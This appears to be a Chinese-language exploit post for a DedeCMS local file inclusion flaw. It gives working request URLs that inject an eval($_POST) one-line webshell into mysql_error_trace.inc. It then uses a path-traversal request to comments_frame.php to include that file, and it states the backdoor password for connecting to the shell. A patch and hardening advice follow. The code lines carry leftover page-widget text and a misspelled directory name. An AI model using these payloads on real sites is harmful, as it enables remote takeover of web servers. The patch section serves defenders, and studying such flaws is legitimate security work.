此漏洞非常严重,可直接获得webshell。
inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.”/code/datalist.”.$codefile.”.inc”);
同时,inculde/dedesql.class.php 中预览源代码打印关于1 $errorTrackFile = dirname(__FILE__).”/../data/mysql_error_trace.inc”;
$codefile没有做过滤。
我们可以用datalistcp.class.php 包含mysql_error_trace.inc 执行PHP脚本程序。
利用方法:
www.sitedir.com.cn/plus/digg_frame … d&id=1024e1024&mid=*/eval%28$_POST[xxxxx]%29;/*
写入一句话后门
后门地址:
www.sitedir.com.cn/plus/comments_frame.php?needCode=gb2312.inc..\..\../../data/mysql_error_trace用一句话客户端连接
密码是:xxxxx

修补方案:
将inculde/datalistcp.class.php 第十行预览源代码打印关于1 require_once(DEDEINC.”/code/datalist.”.$codefile.”.inc”);
替换成:预览源代码打印关于1 //require_once(DEDEINC.”/code/datalist.”.$codefile.”.inc”);
2 $lang_pre_page = ”上页”;
3 $lang_next_page = ”下页”;
4 $lang_index_page = ”首页”;
5 $lang_end_page = ”末页”;
6 $lang_record_number = ”条记录”;
7 $lang_page = ”页”;
8 $lang_total = ”共”;
或者将$codefile直接替换成gb2313 utf-8等
总结:
之前一直以为inculde/dedesql.class.php 可以创建一个mysql_error_trace.php 并写入后门,后来测试下,发现不行。
然后找了inculde/datalistcp.class.php这么一个玩意。plus/comments_frame.php 是用来注册DEDEINC这个变量,否则不好使。

我这里给大家个建议 把PLUS里面的文件用不到的统统删除 尤其DIGG_ 2个文件